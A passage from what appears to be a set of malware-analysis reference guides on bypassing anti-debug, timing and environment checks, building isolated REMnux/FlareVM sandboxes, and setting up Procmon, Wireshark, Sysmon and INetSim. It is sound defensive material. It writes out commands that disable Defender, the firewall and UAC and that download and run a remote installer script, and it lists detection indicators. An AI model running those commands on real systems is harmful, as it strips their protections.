Malware reads the debug registers DR0–DR3 via `GetThreadContext`. If any are non-zero, a hardware breakpoint is set.
**Timing-based debugger detection:**
```c
DWORD t1 = GetTickCount();
// execute a few instructions
DWORD t2 = GetTickCount();
if ((t2 - t1) > threshold) { /* debugger detected */ }
```
When single-stepping in a debugger, even a few instructions take milliseconds vs. nanoseconds normally.
**Exception-based detection:**
Malware raises an exception (INT3, divide-by-zero) and checks if the debugger swallows it instead of passing it to the exception handler.
**Window/process name enumeration:**
```
FindWindow("OLLYDBG", NULL)
FindWindow("WinDbgFrameClass", NULL)
FindWindow("ID", NULL) → Immunity Debugger
FindWindow("Qt5QWindowIcon", NULL) → x64dbg
EnumProcesses → scan for:
ollydbg.exe, x32dbg.exe, x64dbg.exe, windbg.exe,
ida.exe, ida64.exe, idag.exe, idaq.exe,
immunitydebugger.exe, dnspy.exe, cheatengine.exe
```
### Bypass Strategies
**ScyllaHide (primary tool):**
ScyllaHide is an anti-anti-debug plugin for x64dbg, OllyDbg, and IDA Pro. It patches all common detection methods transparently.
```
# Download: https://github.com/x64dbg/ScyllaHide
# Install in x64dbg:
# Copy ScyllaHide.dp32 / ScyllaHide.dp64 to x64dbg\plugins\
# Restart x64dbg
# Plugins → ScyllaHide → Options
# Enable all protections for evasive samples:
[x] PEB BeingDebugged
[x] PEB NtGlobalFlag
[x] PEB HeapFlags
[x] NtQueryInformationProcess
[x] Unhandled Exception Handler
[x] Hardware Breakpoint Protection
[x] GetTickCount Hook
[x] NtSetInformationThread
```
**TitanHide (kernel-level, for advanced evasion):**
TitanHide is a kernel driver that hides debuggers at the OS level, defeating NtQueryInformationProcess and similar kernel-query-based checks.
```
# Download: https://github.com/mrexodia/TitanHide
# Requires: Windows with test signing enabled or TESTSIGNING boot flag
# Load driver: TitanHide.sys
# Use x64dbg plugin interface for configuration
```
**Manual PEB patching in x64dbg:**
```
# In x64dbg, after attaching:
# Open Memory Map → find PEB
# Manually zero BeingDebugged byte:
# 32-bit:
# FS:[0x30] → PEB base
# PEB+0x2 → BeingDebugged (set to 0x00)
# PEB+0x68 → NtGlobalFlag (set to 0x00)
# Use x64dbg script:
mov byte ptr [peb()]:2, 0 # Clear BeingDebugged
mov dword ptr [peb()]:0x68, 0 # Clear NtGlobalFlag
```
**Handle timing checks — NOP the sleep/delay:**
```
# In x64dbg, find GetTickCount/QueryPerformanceCounter calls
# Identify the comparison instruction after the delta calculation
# NOP the conditional jump (JNE, JA, JBE, etc.)
# Or patch the threshold to an impossibly large value
```
**Handle exception-based detection:**
```
# In x64dbg: Options → Preferences → Exceptions
# Add exception codes to "pass to program":
# 0x80000003 (INT3 / STATUS_BREAKPOINT)
# 0xC0000094 (divide by zero)
# 0xC0000005 (access violation, if used as detection)
```
---
## Timing-Based Evasion
### How Malware Uses Timing (MITRE T1497.003)
**Sleep-based evasion:**
Malware calls `Sleep(600000)` (10 minutes) or longer. Automated sandboxes that have a 2-5 minute timeout never observe the payload.
```
Sleep(DWORD dwMilliseconds)
SleepEx(DWORD dwMilliseconds, BOOL bAlertable)
WaitForSingleObject(HANDLE, INFINITE)
NtDelayExecution(BOOLEAN Alertable, PLARGE_INTEGER DelayInterval)
```
**Date/time checks:**
Malware compares the current date against a hardcoded activation date. If before that date, it does nothing (making sandbox captures useless). If after an expiry date, it also does nothing (anti-forensics).
**Idle/user activity checks:**
```
GetLastInputInfo() → returns milliseconds since last user input
GetCursorPos() → called twice, checks if cursor moved
GetForegroundWindow() → checks for active user window
```
If no mouse movement or keyboard input for N seconds, the malware assumes it is in a sandbox.
### Bypass Strategies
**Patch Sleep calls in x64dbg:**
```
# Find calls to Sleep / SleepEx / NtDelayExecution
# Option 1: NOP the entire Sleep call
# Option 2: Patch the millisecond argument to 0 or 1
# In x64dbg, set a breakpoint on Sleep:
# Breakpoints → Add → "Sleep"
# When hit, change RCX (x64) or stack arg (x86) to 0 before continuing
# x64dbg script to auto-patch:
bp Sleep
loopSleep:
erun
mov rcx, 0 // Zero the sleep duration (x64 first arg)
erun
goto loopSleep
```
**Accelerate sandbox clock (Cuckoo/CAPE):**
```yaml
# In cuckoo.conf:
[timeouts]
critical = 60
vm_state = 60
# Enable clock skipping in analysis options:
options: "clock=20200101120000"
```
**Manipulate system time on Windows VM:**
```powershell
# Set date forward to trigger time-gated payloads
Set-Date -Date "2025-06-15 12:00:00"
# Use faketime (Linux / Wine)
faketime '2025-06-15 12:00:00' wine sample.exe
```
**Simulate user activity:**
```powershell
# Move mouse programmatically
Add-Type -AssemblyName System.Windows.Forms
while ($true) {
$x = Get-Random -Minimum 100 -Maximum 1800
$y = Get-Random -Minimum 100 -Maximum 900
[System.Windows.Forms.Cursor]::Position = New-Object System.Drawing.Point($x, $y)
Start-Sleep -Milliseconds 500
}
```
**Extend sandbox timeout:**
For CAPE/Cuckoo, increase the analysis timeout:
```bash
python3 utils/submit.py --file sample.exe --timeout 300
```
For manual analysis, simply wait — set observation window to 60+ minutes for suspected sleep-evasive samples.
---
## Environmental Keying
### How Malware Implements Environmental Checks (MITRE T1480)
Environmental keying means the malware will only execute its payload if specific environmental conditions are met. This is distinct from VM detection — the malware is looking for a specific victim configuration.
**Domain/hostname checks:**
```
GetComputerNameEx(ComputerNameDnsDomain, ...)
NetGetJoinInformation()
LookupAccountSid()
→ Malware may require a specific AD domain name or NETBIOS name
```
**Username checks:**
```
GetUserName() → compare against hardcoded victim username
WNetGetUser()
```
**Installed software checks:**
```
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ → enumerate installed apps
HKLM\SOFTWARE\ → check for specific vendor keys
```
**Language/locale checks:**
```
GetSystemDefaultLangID()
GetUserDefaultLCID()
→ Some malware won't run if locale is English or matches researcher's profile
→ Others skip execution if locale is Russian/Ukrainian (avoiding domestic prosecution)
```
**Network environment checks:**
```
GetAdaptersInfo() → check for specific IP ranges
DnsQuery() → verify domain membership via DNS
NetServerGetInfo() → check for domain controller presence
```
### Bypass Strategies
**Domain/hostname spoofing:**
```powershell
# Change computer name (requires restart)
Rename-Computer -NewName "WORKSTATION-01" -Force
# Join a fake workgroup matching expected domain name
# (Does not require actual domain controller)
Add-Computer -WorkgroupName "TARGETCORP"
```
**Username spoofing:**
```powershell
# Create a user matching expected victim name
New-LocalUser -Name "jsmith" -NoPassword
Add-LocalGroupMember -Group "Administrators" -Member "jsmith"
# Log in as that user, then execute sample
```
**Locale patching:**
```
# In x64dbg, break on GetSystemDefaultLangID / GetUserDefaultLCID
# Patch EAX return value to match expected locale
# Russian: 0x0419, Romanian: 0x0418, Ukrainian: 0x0422
```
**Registry keying bypass:**
```
# If malware checks for a specific product registry key:
# Identify the expected key via static analysis (strings, IDA)
# Create a fake registry entry before execution:
New-Item -Path "HKLM:\SOFTWARE\TargetVendor\TargetProduct" -Force
New-ItemProperty -Path "HKLM:\SOFTWARE\TargetVendor\TargetProduct" `
-Name "Version" -Value "1.0" -PropertyType String
```
---
## Tools for Anti-Analysis Bypass
### ScyllaHide
Purpose: Plugin for x64dbg, OllyDbg, IDA Pro, TitanHide. Patches all common anti-debug checks transparently.
```
Download: https://github.com/x64dbg/ScyllaHide/releases
Platforms: x32dbg, x64dbg, OllyDbg 1.10, OllyDbg 2.01, IDA Pro
Install: Copy DLL to debugger plugins folder
Key options:
- PEB patch (BeingDebugged, NtGlobalFlag, HeapFlags)
- NtQueryInformationProcess hooks
- Timing hooks (GetTickCount, QueryPerformanceCounter)
- NtSetInformationThread (hide from debugger)
- Unhandled exception fix
```
### TitanHide
Purpose: Kernel-mode driver that hides debugger presence from NtQueryInformationProcess and related syscalls.
```
Download: https://github.com/mrexodia/TitanHide
Requires: Windows with test signing or driver certificate
Use case: When ScyllaHide user-mode hooks are insufficient
(malware uses direct syscalls to bypass user-mode hooks)
```
### al-khaser
Purpose: Open-source tool that tests over 170 anti-analysis checks. Use to validate VM hardening before analyzing evasive samples.
```
Download: https://github.com/LordNoteworthy/al-khaser
Build: Visual Studio solution (.sln)
Run: al-khaser.exe
Output: Pass/fail for each check category:
- Anti-VM
- Anti-debug
- Anti-sandbox
- Anti-disassembly
- Timing
```
### pafish
Purpose: Lightweight VM/sandbox detection tester. Faster than al-khaser for quick pre-analysis validation.
```
Download: https://github.com/a0rtega/pafish/releases
Run: pafish.exe
Green: Check passed (not detected)
Red: Check failed (artifact detected — fix before analyzing evasive samples)
```
### hollows_hunter / pe-sieve
Purpose: Scan a running process for injected code, hollowed sections, and unpacked payloads in memory. Useful after malware defeats initial analysis controls.
```
Download: https://github.com/hasherezade/hollows_hunter
Run: hollows_hunter.exe /pid <malware_pid>
Output: Dumps hollowed/injected regions to disk for static analysis
```
### x64dbg Plugins for Anti-Analysis
```
ScyllaHide Anti-debug bypass (essential)
xAnalyzer Extended analysis and comment generation
xHotConvert Quick conversion utilities
OllyDumpEx Process dumper for unpacking
```
---
## Identifying Anti-Analysis at a Glance
During static analysis, flag these patterns for targeted bypass:
**String indicators:**
```
"IsDebuggerPresent" → debugger detection
"CheckRemoteDebugger" → remote debugger detection
"NtQueryInformationProcess" → advanced debugger/VM detection
"VBOX", "VMWARE", "QEMU", "VIRTUAL" → VM string checks
"GetTickCount" → timing-based detection
"GetLastInputInfo" → user interaction check
"GetSystemDefaultLangID" → locale-based keying
"GetComputerName" → hostname keying
"EnumProcesses" → process-list scanning
```
**Import table red flags:**
```
kernel32.dll: IsDebuggerPresent, CheckRemoteDebuggerPresent,
GetTickCount, QueryPerformanceCounter,
GetLastInputInfo, GetCursorPos
ntdll.dll: NtQueryInformationProcess, NtSetInformationThread,
NtDelayExecution, RtlQueryProcessHeapInformation
advapi32.dll: RegOpenKeyEx (combined with SYSTEM\CurrentControlSet\Services)
iphlpapi.dll: GetAdaptersInfo (MAC address check)
```
**Behavioral indicators during dynamic analysis:**
```
Process exits immediately (< 2 seconds) → VM or debugger detected
No network activity despite expected C2 → sandbox/network detection
Sleep calls with long durations (> 30s) → timing evasion
Repeated GetTickCount/RDTSC in tight loop → timing check
CreateFile on \\.\VBoxGuest or \\.\vmci → device probing
```
---
## MITRE ATT&CK Reference
| Technique | ID | Description |
|-----------|-----|-------------|
| Virtualization/Sandbox Evasion | T1497 | Parent technique |
| System Checks | T1497.001 | Registry, filesystem, hardware artifacts |
| User Activity Based Checks | T1497.002 | Mouse movement, input, idle time |
| Time Based Evasion | T1497.003 | Sleep calls, date checks, RDTSC |
| Debugger Evasion | T1622 | IsDebuggerPresent, NtQueryInformationProcess |
| Execution Guardrails | T1480 | Environmental keying, domain/locale checks |
| Obfuscated Files or Information | T1027 | Packed/encrypted payloads that unpack in memory |
---
## Analysis Decision Tree
```
Sample exits immediately?
├─ Yes → Check: is VM artifact present? → Fix VM hardening, retry
│ Check: debugger detected? → Enable ScyllaHide, retry
│ Check: locale/domain check? → Spoof environment, retry
└─ No → Sample is executing
No network activity?
├─ Check: INetSim running and configured?
├─ Check: DNS resolving to INetSim IP?
├─ Check: malware performing HTTPS certificate pinning?
│ → Use Proxifier + mitmproxy to intercept
└─ Check: malware waiting for sleep delay?
→ Patch Sleep calls, extend timeout
Behavior stops after initial activity?
├─ Check: C2 response expected? → Configure INetSim response templates
├─ Check: time-gated payload? → Advance system clock
└─ Check: requires second-stage download? → Serve fake C2 response via INetSim
```

View File

@@ -0,0 +1,465 @@
# Sandbox Setup Guide
Quick reference for building and maintaining isolated malware analysis environments.
---
## REMnux - Linux Analysis VM
REMnux is a curated Ubuntu-based distro pre-loaded with reverse engineering and network simulation tools.
### Installation
```bash
# Option 1: Download pre-built OVA (recommended)
# https://remnux.org/#distro
# Import via VirtualBox/VMware: File → Import Appliance → remnux-vX.X.ova
# Option 2: Add REMnux to existing Ubuntu 22.04 LTS
wget https://REMnux.org/remnux-cli
mv remnux-cli /usr/local/bin/remnux
chmod +x /usr/local/bin/remnux
sudo remnux install
```
### Key Pre-Installed Tools
| Category | Tools |
|----------|-------|
| Network simulation | INetSim, FakeNet-NG |
| Traffic analysis | Wireshark, tshark, tcpdump, NetworkMiner |
| Static analysis | FLOSS, strings, binwalk, file, ssdeep |
| PDF analysis | pdf-parser, pdfid, peepdf |
| Office analysis | olevba, mraptor, msodde |
| Disassembly | Ghidra, Binary Ninja (trial) |
| Scripting | Python 3, Ruby, Node.js |
| Memory forensics | Volatility 3, bulk_extractor |
### Initial Configuration
```bash
# Update REMnux tools
sudo remnux upgrade
# Set timezone to UTC for consistent timestamps
sudo timedatectl set-timezone UTC
# Disable automatic updates (prevent unintended network activity)
sudo systemctl disable apt-daily.timer
sudo systemctl disable apt-daily-upgrade.timer
# Verify INetSim is ready
sudo systemctl status inetsim
```
### INetSim Configuration on REMnux
```bash
sudo nano /etc/inetsim/inetsim.conf
```
Key settings to configure:
```
# Bind to interface facing Windows analysis VM
service_bind_address 192.168.56.1
# DNS: respond to all queries with INetSim's own IP
dns_default_ip 192.168.56.1
dns_version "Microsoft DNS 6.1.7601"
# HTTP/HTTPS
http_bind_port 80
https_bind_port 443
http_fakemode yes
# SMTP
smtp_bind_port 25
smtp_banner "220 mail.example.com ESMTP"
```
```bash
# Start INetSim
sudo inetsim
# View INetSim logs
tail -f /var/log/inetsim/service.log
```
---
## FlareVM - Windows Analysis VM
FlareVM is a Chocolatey-based installer that transforms Windows into a malware analysis workstation.
### Prerequisites
- Windows 10 (version 1903 or later) — fresh install strongly preferred
- At minimum 60 GB disk, 4 GB RAM (8 GB recommended)
- PowerShell 5+ with execution policy set to unrestricted
- .NET 4+ installed
- Disable Windows Defender and Windows Update before installing
### Disable Defender Before Installation
```powershell
# Run PowerShell as Administrator
# Disable real-time protection (temporary, for installation)
Set-MpPreference -DisableRealtimeMonitoring $true
# Disable all Defender components
Set-MpPreference -DisableBehaviorMonitoring $true
Set-MpPreference -DisableIOAVProtection $true
Set-MpPreference -DisableScriptScanning $true
# Disable Windows Update
sc.exe config wuauserv start=disabled
sc.exe stop wuauserv
```
### Installation
```powershell
# Run PowerShell as Administrator
Set-ExecutionPolicy Unrestricted -Force
# Download and run FlareVM installer
(New-Object net.webclient).DownloadFile(
'https://raw.githubusercontent.com/mandiant/flare-vm/main/install.ps1',
"$env:temp\install.ps1"
)
Unblock-File "$env:temp\install.ps1"
& "$env:temp\install.ps1"
```
The installer opens a GUI for package selection. Installation takes 1-2 hours.
### Key Installed Tools
| Category | Tools |
|----------|-------|
| Debuggers | x64dbg, WinDbg, OllyDbg |
| Disassemblers | IDA Free, Ghidra, Binary Ninja (trial) |
| Process analysis | System Informer (formerly Process Hacker), ProcDOT, Process Monitor |
| Network | Wireshark, FakeNet-NG, TCPView |
| Static analysis | PE-bear, CFF Explorer, PEiD, Detect-It-Easy |
| String extraction | FLOSS, strings |
| .NET | dnSpy, de4dot |
| Office | olevba, oletools |
| Hex editors | HxD, 010 Editor |
| Scripting | Python 3, Ruby |
### Post-Installation Hardening
```powershell
# Disable Windows Firewall (analysis VM only — never production)
netsh advfirewall set allprofiles state off
# Disable UAC prompts that interrupt malware execution
Set-ItemProperty -Path REGISTRY::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System -Name ConsentPromptBehaviorAdmin -Value 0
# Show hidden files and extensions
Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced' -Name Hidden -Value 1
Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced' -Name HideFileExt -Value 0
```
---
## Network Isolation Configuration
### VirtualBox Host-Only Network Setup
Host-only networking creates a private network between the host and VMs only — no internet access.
**Create Host-Only Adapter (VirtualBox):**
```
File → Host Network Manager → Create
IPv4 Address: 192.168.56.1
IPv4 Network Mask: 255.255.255.0
DHCP Server: Disabled (assign static IPs manually)
```
**Configure Windows Analysis VM:**
```
VM Settings → Network
Adapter 1: Host-Only Adapter → vboxnet0
```
**Set static IP on Windows VM:**
```
Network and Sharing Center → Change adapter settings
→ Right-click adapter → Properties → IPv4 → Manual:
IP Address: 192.168.56.10
Subnet Mask: 255.255.255.0
Gateway: 192.168.56.1 (REMnux INetSim)
DNS Server: 192.168.56.1 (REMnux INetSim)
```
**Configure REMnux VM:**
```
VM Settings → Network
Adapter 1: Host-Only Adapter → vboxnet0
(Static IP: 192.168.56.1 — set during OS install or via netplan)
```
### VMware Host-Only Network Setup
```
Edit → Virtual Network Editor → Add Network → VMnet1 (Host-only)
Subnet IP: 192.168.56.0
Subnet mask: 255.255.255.0
Disable: Use local DHCP service
```
**Assign to analysis VM:**
```
VM Settings → Network Adapter → Custom: VMnet1
```
### Verifying Isolation
From the Windows analysis VM, confirm no external connectivity:
```cmd
# Should resolve (INetSim responds)
nslookup google.com
# Should fail (no external routing)
ping 8.8.8.8
# Verify gateway is INetSim, not external router
tracert google.com
```
From REMnux, confirm INetSim is intercepting:
```bash
# Watch live connections from Windows VM
tail -f /var/log/inetsim/service.log
```
---
## Snapshot Management
Snapshots are the single most important operational practice. A corrupted or infected baseline wastes hours.
### Snapshot Strategy
**Baseline snapshot** — taken once after clean VM build, before any analysis:
- OS fully patched (final time)
- All analysis tools installed and tested
- INetSim/FakeNet configured
- Sysmon installed with SwiftOnSecurity config
- Defender disabled
- Named: `BASELINE-CLEAN-YYYY-MM-DD`
**Pre-execution snapshot** — taken at the start of each analysis session:
- All monitoring tools open and ready (Procmon capturing, Wireshark running)
- INetSim running on REMnux
- Sample copied to VM but not yet executed
- Named: `PRE-EXEC-<sample-hash>-YYYY-MM-DD`
**Mid-analysis snapshots** — optional, taken at significant milestones:
- After installation phase completes
- Before triggering a specific behavior
- Named: `MID-<phase>-<sample-hash>`
### VirtualBox Snapshot Commands
```bash
# List snapshots
VBoxManage snapshot "Windows10-Analysis" list
# Take snapshot
VBoxManage snapshot "Windows10-Analysis" take "PRE-EXEC-abc123-2024-01-15" \
--description "Sample abc123 loaded, tools running"
# Restore snapshot
VBoxManage snapshot "Windows10-Analysis" restore "BASELINE-CLEAN-2024-01-01"
# Delete old snapshots (free disk space)
VBoxManage snapshot "Windows10-Analysis" delete "MID-install-abc123"
```
### VMware Snapshot Commands
```bash
# Take snapshot (VMware CLI)
vmrun snapshot /path/to/vm.vmx "PRE-EXEC-abc123-2024-01-15"
# Revert to snapshot
vmrun revertToSnapshot /path/to/vm.vmx "BASELINE-CLEAN-2024-01-01"
# List snapshots
vmrun listSnapshots /path/to/vm.vmx
```
### Discipline Rules
- **Always revert to baseline after each sample** — never analyze two samples in the same session without reverting
- **Never take a snapshot while malware is running** — the snapshot captures infected state
- **Store baseline OVA/OVF off the analysis machine** — backup in case of host compromise
- **Label snapshots with dates** — baselines age; tools need updates
---
## VM Detection Countermeasures
Malware commonly fingerprints VMs to avoid analysis. See `references/anti_analysis_bypass.md` for full bypass techniques. Common baseline hardening steps:
### Hardware Fingerprint Spoofing
**VirtualBox — spoof BIOS/hardware strings:**
```bash
# Run on host before starting VM
VBoxManage setextradata "Windows10-Analysis" \
"VBoxInternal/Devices/pcbios/0/Config/DmiBIOSVendor" "American Megatrends Inc."
VBoxManage setextradata "Windows10-Analysis" \
"VBoxInternal/Devices/pcbios/0/Config/DmiSystemProduct" "MS-7B86"
VBoxManage setextradata "Windows10-Analysis" \
"VBoxInternal/Devices/pcbios/0/Config/DmiSystemVendor" "MSI"
VBoxManage setextradata "Windows10-Analysis" \
"VBoxInternal/Devices/pcbios/0/Config/DmiChassisVendor" "MSI"
```
**Spoof MAC address (remove VirtualBox OUI 08:00:27:xx:xx:xx):**
```
VM Settings → Network → Advanced → MAC Address → Generate new
```
Or set manually to a real vendor OUI (e.g., Intel: `8C:8D:28`):
```bash
VBoxManage modifyvm "Windows10-Analysis" --macaddress1 "8C8D28AABBCC"
```
### Remove VM Artifacts on Windows Guest
```powershell
# Remove VirtualBox Guest Additions (if installed)
# Control Panel → Programs → Uninstall VirtualBox Guest Additions
# Remove VMware Tools
# Control Panel → Programs → Uninstall VMware Tools
# Remove obvious registry keys
Remove-Item -Path "HKLM:\SOFTWARE\Oracle\VirtualBox Guest Additions" -Recurse -ErrorAction SilentlyContinue
Remove-Item -Path "HKLM:\SOFTWARE\VMware, Inc." -Recurse -ErrorAction SilentlyContinue
# Remove VBox/VMware processes from autostart
# Check: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
```
### Screen Resolution and User Activity
```
Set VM resolution to common values: 1920x1080 or 1366x768
Create desktop shortcuts, browser history, recent documents
Place realistic-looking files in Downloads, Documents, Desktop
Add a few installed applications (Chrome, 7-Zip, Notepad++)
```
### Testing VM Hardening
Use pafish (Paranoid Fish) to verify detection resistance:
```
# Download: https://github.com/a0rtega/pafish
# Run pafish.exe in the VM
# Each red "FAIL" is a detectable artifact
# Aim for all green before analyzing evasive samples
```
---
## CAPE Sandbox - Local Automated Sandbox
CAPE (Config And Payload Extraction) automates dynamic analysis at scale.
### Quick Install (Docker)
```bash
# Clone CAPE
git clone https://github.com/kevoreilly/CAPEv2.git
cd CAPEv2
# Use Docker Compose (simplest setup)
sudo docker-compose up -d
# Web interface available at:
# http://localhost:8000
```
### Submit Sample via CLI
```bash
# Submit file
python3 utils/submit.py --file /path/to/sample.exe
# Submit with options
python3 utils/submit.py \
--file /path/to/sample.exe \
--timeout 120 \
--options "procmemdump=yes,extraction=yes"
```
### Submit via Web UI
```
http://localhost:8000/submit
→ Upload file
→ Set timeout (60-300 seconds)
→ Select package (exe, dll, doc, pdf, etc.)
→ Submit
```
### Retrieve Report
```bash
# List tasks
python3 utils/process.py -r <task_id>
# Reports stored at:
# /opt/CAPEv2/storage/analyses/<task_id>/reports/report.json
```
---
## Troubleshooting
**Windows VM has internet access (should not):**
- Verify adapter is Host-Only, not NAT or Bridged
- Check default gateway points to INetSim IP, not router IP
- Disable any secondary adapters
**INetSim not responding to DNS queries:**
- Confirm `service_bind_address` matches REMnux's host-only IP
- Check INetSim is running: `sudo systemctl status inetsim`
- Verify no firewall blocking port 53 on REMnux: `sudo ufw status`
**Snapshot restore fails (VirtualBox):**
- Ensure VM is fully powered off before restoring
- Verify sufficient disk space on host
- Try: `VBoxManage snapshot <vm> restorecurrent`
**FlareVM installation fails partway through:**
- Re-run installer — Chocolatey packages are idempotent
- Check Windows Update is fully disabled
- Verify Defender exclusions cover `C:\ProgramData\chocolatey`
**pafish detects VM even after hardening:**
- Check CPUID hypervisor bit: requires CPU passthrough or nested virt disabled
- VMware: add `hypervisor.cpuid.v0 = FALSE` to .vmx file
- VirtualBox: `VBoxManage modifyvm <vm> --paravirtprovider none`

View File

@@ -0,0 +1,397 @@
# Dynamic Analysis Tool Setup Guide
Quick reference for configuring essential dynamic analysis tools.
## Process Monitor (Procmon) - Sysinternals
### Initial Setup
1. Download from: https://docs.microsoft.com/en-us/sysinternals/downloads/procmon
2. Run as Administrator
3. Procmon starts capturing immediately
### Essential Filters (Reduce Noise)
**Filter by Process:**
```
Process Name → is → sample.exe → Include
Process Name → is → rundll32.exe → Include (if DLL execution)
Process Name → is → explorer.exe → Exclude
Process Name → is → svchost.exe → Exclude
```
**Filter by Operation Type:**
```
Operation → contains → Reg → Include (registry operations)
Operation → contains → File → Include (file operations)
Operation → begins with → Process → Include (process operations)
```
**Filter by Result:**
```
Result → is → SUCCESS → Include (focus on successful operations)
```
### Columns to Enable
- Time
- Process Name
- PID
- Operation
- Path
- Result
- Detail
### Export Options
```
File → Save → All Events → CSV
File → Save → Filtered Events → CSV (recommended)
```
### Pro Tips
- Clear capture (Ctrl+X) before malware execution for clean logs
- Use bookmarks (Ctrl+B) to mark important events
- Stack duplicate events: Tools → Count Occurrences
- Enable boot logging for persistence analysis: Options → Enable Boot Logging
---
## Wireshark - Network Analysis
### Capture Setup
1. Download from: https://www.wireshark.org
2. Start → Options → Select adapter connected to INetSim
3. Start capture before executing malware
### Display Filters (During Analysis)
**DNS Traffic:**
```
dns
dns.qry.name contains "malicious"
```
**HTTP Traffic:**
```
http
http.request.method == "POST"
http.request.uri contains "/api"
```
**HTTPS/TLS:**
```
tls
tls.handshake.type == 1
```
**Specific IP:**
```
ip.addr == 192.168.1.100
ip.dst == 192.168.1.100
```
**Specific Port:**
```
tcp.port == 443
udp.port == 53
```
### Export Options
```
File → Export Specified Packets → Save as PCAPNG
File → Export Objects → HTTP (extract downloaded files)
```
### Command-Line Analysis (tshark)
```bash
# Extract DNS queries
tshark -r capture.pcapng -Y dns.qry.name -T fields -e dns.qry.name | sort -u
# Extract HTTP hosts
tshark -r capture.pcapng -Y http.request -T fields -e http.host -e http.request.uri
# Extract all contacted IPs
tshark -r capture.pcapng -T fields -e ip.dst | sort -u
```
---
## System Informer (formerly Process Hacker) - Process/Memory Analysis
### Setup
1. Download from: https://systeminformer.sourceforge.io
2. Run as Administrator
3. Enable: View → Update Speed → Fast
### Key Features
**Process Tree View:**
```
View → Tree View
Expand malware process to see child processes
```
**Memory Inspection:**
```
Double-click process → Memory tab
Look for RWX regions (suspicious)
Right-click memory region → Read/Write → String scan
```
**Handles:**
```
Double-click process → Handles tab
Filter: Type → Mutant (mutexes)
Filter: Type → File (open files)
```
**Network Connections:**
```
Double-click process → Network tab
Shows all connections made by process
```
**Memory Dump:**
```
Right-click process → Create dump file
Save full memory for Volatility analysis
```
### Highlighting Rules
```
Options → Highlight → New
Condition: Process Name → contains → sample.exe
Color: Red
```
---
## Sysmon - Advanced Windows Logging
### Installation
```powershell
# Download Sysmon
# https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon
# Install with a community config
sysmon64.exe -accepteula -i sysmonconfig.xml
# Config sources (pick one):
# https://github.com/olafhartong/sysmon-modular (actively maintained, MITRE-mapped; use sysmonconfig.xml)
# https://github.com/SwiftOnSecurity/sysmon-config (classic, less frequently updated)
```
### View Logs
```powershell
# Event Viewer
eventvwr.msc → Applications and Services Logs → Microsoft → Windows → Sysmon → Operational
# PowerShell
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 100 | Format-List
# Export logs
wevtutil epl Microsoft-Windows-Sysmon/Operational C:\evidence\sysmon.evtx
```
### Key Event IDs
- **Event 1**: Process creation (command line, hashes, parent process)
- **Event 3**: Network connection (source/dest IP, port, process)
- **Event 5**: Process terminated
- **Event 7**: Image loaded (DLL loading)
- **Event 8**: CreateRemoteThread (injection)
- **Event 10**: ProcessAccess (process manipulation)
- **Event 11**: FileCreate (file creation time)
- **Event 12/13/14**: Registry operations
- **Event 22**: DNS query
---
## Regshot - Registry Comparison
### Workflow
1. Download from: https://sourceforge.net/projects/regshot/
2. Run Regshot
3. Click "1st shot" (before malware execution)
4. Execute malware
5. Wait for all malware activity to complete
6. Click "2nd shot" (after malware execution)
7. Click "Compare"
8. Output saved as HTML (registry_changes.html)
### Output Interpretation
- **Keys added**: New persistence mechanisms
- **Keys deleted**: Cleanup activities
- **Values modified**: Configuration changes
- **Values added**: New settings
### Pro Tips
- Scan selected folders only for faster scans
- Use during specific malware phases (install vs. runtime)
- Export both shots for archival
---
## TCPView - Real-Time Network Connections
### Setup
1. Download from: https://docs.microsoft.com/en-us/sysinternals/downloads/tcpview
2. Run as Administrator
3. Shows all active TCP/UDP connections
### Features
- Real-time connection monitoring
- Color-coded (green = new, red = closed)
- Right-click → Close Connection (for testing)
- Right-click → Whois (lookup IP)
### Save Output
```
File → Save → CSV
```
---
## Noriben - Automated Procmon Analysis
### Setup
```bash
# Download from: https://github.com/Rurik/Noriben
git clone https://github.com/Rurik/Noriben.git
cd Noriben
```
### Usage
```bash
# Automated execution with Procmon
python Noriben.py --cmd sample.exe --timeout 300
# Manual mode (execute malware yourself)
python Noriben.py --output noriben_report.txt
```
### Output
- Filtered Procmon events
- Suspicious behaviors highlighted
- Timeline of activities
- File, registry, network artifacts
---
## INetSim - Fake Internet Simulation
### Installation (Linux VM)
```bash
sudo apt update
sudo apt install inetsim
# Configure
sudo nano /etc/inetsim/inetsim.conf
```
### Configuration
```
service_bind_address 0.0.0.0
dns_default_ip 192.168.56.1 # INetSim host IP
https_bind_port 443
http_bind_port 80
smtp_bind_port 25
```
### Start INetSim
```bash
sudo inetsim
```
### Configure Windows VM
```
Set DNS server to INetSim IP (192.168.56.1)
Set gateway to INetSim IP (if using NAT)
```
### Verify
```cmd
# From Windows VM
ping google.com # Should resolve to INetSim IP
nslookup microsoft.com # Should resolve to INetSim IP
```
---
## FakeNet-NG - Windows Internet Simulation
### Installation
```bash
# Download from: https://github.com/mandiant/flare-fakenet-ng
pip install flare-fakenet-ng
```
### Usage
```cmd
# Run as Administrator
fakenet.exe
# Execute malware (FakeNet intercepts all network)
```
### Features
- Simulates HTTP, HTTPS, DNS, FTP, SMTP
- Captures all network traffic
- No external VM needed
- Logs all requests/responses
---
## Tool Startup Sequence
**Recommended Order:**
1. Take VM snapshot
2. Start INetSim (if using)
3. Start Sysmon (already installed)
4. Start Procmon (clear capture first)
5. Start Wireshark
6. Start System Informer
7. Start Regshot → 1st shot (if using)
8. Execute malware
9. Monitor for 15+ minutes
10. Regshot → 2nd shot (if using)
11. Stop all captures
12. Export all evidence
13. Revert to snapshot
---
## Quick Reference Card
| Tool | Purpose | When to Use |
|------|---------|-------------|
| **Procmon** | File/Registry/Process activity | Always |
| **Wireshark** | Network traffic | Always |
| **System Informer** | Process/Memory analysis | Always |
| **Sysmon** | Windows event logging | Always (background) |
| **Regshot** | Registry comparison | When need before/after snapshot |
| **TCPView** | Real-time connections | Quick network checks |
| **Noriben** | Automated Procmon | Time-constrained analysis |
| **INetSim** | Fake internet | Always (network isolation) |
| **FakeNet-NG** | Windows fake internet | Alternative to INetSim |
---
## Troubleshooting
**Procmon not capturing:**
- Run as Administrator
- Clear filters (Ctrl+R)
- Check "Capture Events" is enabled
**Wireshark shows no traffic:**
